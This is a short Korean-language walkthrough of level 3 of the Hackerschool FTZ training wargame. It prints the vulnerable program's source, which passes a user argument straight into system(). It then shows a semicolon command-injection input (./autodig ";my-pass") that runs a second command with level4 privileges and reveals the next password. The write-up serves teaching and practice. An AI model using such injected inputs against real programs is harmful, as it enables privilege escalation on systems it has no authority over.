[FTZ] 해커스쿨 Level 3 풀이
[FTZ] 해커스쿨 Level 3
id>level3
passwd>can you fly?
ls 명령어를 사용하여 파일과 디렉토리 확인하기
cat hint 명령어를 치면 다음과 같은 소스코드가 나온다.
int main(int argc, char **argv){ // main 함수에 argc 인자를 받는다.
char cmd[100]; // cmd 변수에 100의 공간을 할당한 char형 변수를 선언한다.
if( argc!=2 ){ // argc가 2가 아니라면, if문을 실행한다.
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" ); // 문자열 복사하는 함수 : cmd 변수에 "dig @"를 넣는다.
strcat( cmd, argv[1] ); // 문자열을 붙여넣는 함수 : cmd에 argv[1] 값을 붙여 넣는다.
strcat( cmd, " version.bind chaos txt"); // cmd 뒤에 " version.bind chaos txt" 문구를 덧붙인다.
system( cmd ); // cmd 배열 내용을 실행시킨다.
}
HINT
- 동시에 여러 명령어를 사용하려면?
: ;(세미콜론)을 붙여주면 여러 명령어를 동시에 사용할 수 있다.
- 문자열 형태로 명령어를 전달하려면?
: ""(큰 따옴표)를 사용하면 된다.
level4의 권한으로 얻을 수 있는 힌트를 얻는다.
(오류는 제외)
./autodig ";my-pass"라는 명령어를 치면
cmd는 dig @;my-pass;version.bind chaos txt가 되는데,
1. dig @가 실행되어
dig: Couldn't find server ' ' : Name or service not known
이라는 오류가 떴고
2. my-pass가 실행되어
level4의 패스워드를 알아냈고
3. version.bind chaos txt는 무시되었다.